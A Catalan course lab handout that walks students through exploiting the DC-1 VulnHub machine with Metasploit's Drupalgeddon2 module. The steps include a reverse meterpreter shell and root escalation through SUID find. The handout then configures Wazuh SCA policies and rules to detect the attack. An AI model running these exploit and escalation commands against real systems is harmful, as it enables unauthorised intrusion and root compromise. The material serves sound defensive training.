Workshop 2. Detecting Metasploit attack

En aquest taller faràs un atac amb metasploit a una màquina Linux i aconseguiràs permisos de *root*. La víctima és una màquina extreta de VulnHub (DC-1) que té instal·lat un agent Wazuh i està enviant events i alertes al nostre Wazuh *manager*. Després de realitzar l'atac, fes un informe de les alertes i/o events recollits al Wazuh.

Màquines:

- Víctima: 192.168.128.48
- Wazuh manager: 192.168.128.80

Atac:

- Investiga quins ports té oberts la víctima:
  nmap -sV 192.168.128.48
- Quin contingut web té?
- Executa la *msfconsole* i comprova si Metasploit té algun *exploit* per aquest contingut:
  search drupal
- Un que pots utilitzar és el Drupal Drupalgeddon 2 Forms API Property Injection que explota la vulnerabilitat CVE-2018-7600.

```
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.128.48
rhosts => 192.168.128.48
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 192.168.128.34:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (39282 bytes) to 192.168.128.48
[*] Meterpreter session 1 opened (192.168.128.34:4444 → 192.168.128.48:50304 ) a
t 2022-03-04 02:33:11 -0500
```

- Obté informació de la màquina:
  sysinfo
  getuid
  whoami
- En aquest punt, l'*exploit* ha anat bé i estàs dins la víctima amb l'usuari *www-data*. Ara cal que escalis privilegis, per tant, obre un *reverse shell* i amb Python genera una terminal tty:

```
meterpreter > shell
Process 3351 created.
Channel 0 created.
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@DC-1:/var/www$
```

  Ara cerca fitxers amb permisos SUID, o sigui, que tinguin el bit 's' activat. Aquesta propietat és necessària perquè els usuaris normals puguin realitzar tasques que requereixin privilegis més alts:

```
www-data@DC-1:/var/www$ find /usr/bin -perm -u=s -type f
find /usr/bin -perm -u=s -type f
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
www-data@DC-1:/var/www$
```

En aquest cas, de tots aquests fitxers utilitzarem l'últim: *find*.

```
www-data@DC-1:/var/www$ find . -exec /bin/sh \; -quit
find . -exec /bin/sh \; -quit
#
```

Ara, amb la comanda *whoami* comprova quin usuari ets i veuràs que ja tens permisos d'administrador.

Activitat:
Fes un recull de les alertes i els events més significatius enviats al Wazuh manager i fes-ne una explicació.

A continuació explico com configurar el Wazuh manager per detectar aquest atac. A la màquina Wazuh manager de l'aula ja està fet, però si tu tens la teva i ho vols configurar, pots seguir els següents passos:

Configuració del Wazuh manager per assessorar sobre Drupal

Alertes de configuració SCA (Security Configuration Assessment):

Al Wazuh manager crea el fitxer */var/ossec/etc/shared/default/sca_drupal.yaml* amb el següent contingut:

```
# Security Configuration Assessment
# Drupal

policy:
  id: "drupal"
  file: "drupal.yml"
  name: "Security checks for Drupal"
  description: "Find vulnerable versions of Drupal"

checks:
  - id: 100001
```

```
    title: "Drupal Drupalgeddon 2 Forms API Property Injection (CVE-2018-7600)"
    description: "Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote
attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common
module configurations."
    references:
      - https://www.cvedetails.com/cve/CVE-2018-7600/
      - https://nvd.nist.gov/vuln/detail/CVE-2018-7600
      - https://www.rapid7.com/db/modules/exploit/unix/webapp/drupal_drupalgeddon2
    condition: none
    rules:
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && r:\p6.\d+'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version &&
n:\p7.(\d+) compare < 58'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version &&
n:\p8.(\d+) compare < 3'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version &&
n:\p8.3.(\d+) compare < 9'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version &&
n:\p8.4.(\d+) compare < 6'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version &&
n:\p8.5.(\d+) compare < 1'
```

Al mateix Wazuh manager crea un segon fitxer */var/ossec/etc/shared/default/sca_systemfiles .yaml* amb el següent contingut:

```
# Security Configuration Assessment
# System files

policy:
  id: "system-files"
  file: "system-files.yml"
  name: "Security checks for system files"
  description: "Analyse system files to find vulnerabilities"

checks:
  - id: 100002
    title: "Dangerous binaries with SUID bit set found"
    description: "Binaries with SUID bit set can result in a root shell."
    condition: none
    rules:
      - 'c:find /usr/bin -perm -u=s -type f -printf "%y:%p\n" ->
!r:arping|at|bwrap|chfn|chrome-sandbox|chsh|dbus-daemon-launch-helper|dmcrypt-get-device|exim4|fusermount|gpa
sswd|helper|kismet_capture|lxc-user-nic|mount|mount.cifs|mount.ecryptfs_private|mount.nfs|newgidmap|newgrp|new
uidmap|ntfs-3g|passwd|ping|ping6|pkexec|polkit-agent-helper-1|pppd|snap-confine|ssh-keysign|su|sudo|traceroute6.i
putils|ubuntu-core-launcher|umount|VBoxHeadless|VBoxNetAdpCtl|VBoxNetDHCP|VBoxNetNAT|VBoxSDL|VBoxVolI
nfo|VirtualBoxVM|vmware-authd|vmware-user-suid-wrapper|vmware-vmx|vmware-vmx-debug|vmware-vmx-stats|Xor
g.wrap|chage|crontab|^"$'
```

Al Wazuh manager edita el fitxer de configuració */var/ossec/etc/shared/default/agent.conf* i afegeix-hi les següents directrius:

```
<agent_config>
  <sca>
    <enabled>yes</enabled>
```

```
    <scan_on_start>yes</scan_on_start>
    <interval>15m</interval>
    <skip_nfs>yes</skip_nfs>
    <policies>
      <policy>/var/ossec/etc/shared/sca_drupal.yaml</policy>
      <policy>/var/ossec/etc/shared/sca_systemfiles.yaml</policy>
    </policies>
  </sca>
</agent_config>
```

Configuració del Wazuh manager per detectar el Meterpreter

Al Wazuh manager edita el fitxer de configuració */var/ossec/etc/shared/default/agent.conf* i afegeix-hi les següents directrius:

```
<wodle name="command">
    <disabled>no</disabled>
    <tag>ps-list</tag>
    <command>ps -eo user,pid,cmd</command>
    <interval>10s</interval>
    <ignore_output>no</ignore_output>
    <run_on_start>yes</run_on_start>
    <timeout>5</timeout>
</wodle>
```

Al Wazuh manager edita el fitxer de configuració */var/ossec/etc/rules/local_rules.xml* i afegeix-hi les següents directrius:

```
<group name="wazuh,">
    <rule id="100001" level="0">
        <location>command_ps-list</location>
        <description>List of running process.</description>
        <group>process_monitor,</group>
    </rule>

    <rule id="100002" level="10">
        <if_sid>100001</if_sid>
        <match>eval(base64_decode</match>
        <description>Reverse shell detected.</description>
        <group>process_monitor,attacks</group>
    </rule>
</group>
```

NOTA: Si ja tens l'id 100001 o 100002 en alguna altra regla canvia'ls per una altra numeració, la que vulguis però que no n'hi hagi de repetides.

Finalment reinicia el servei per aplicar els canvis:
systemctl restart wazuh-manager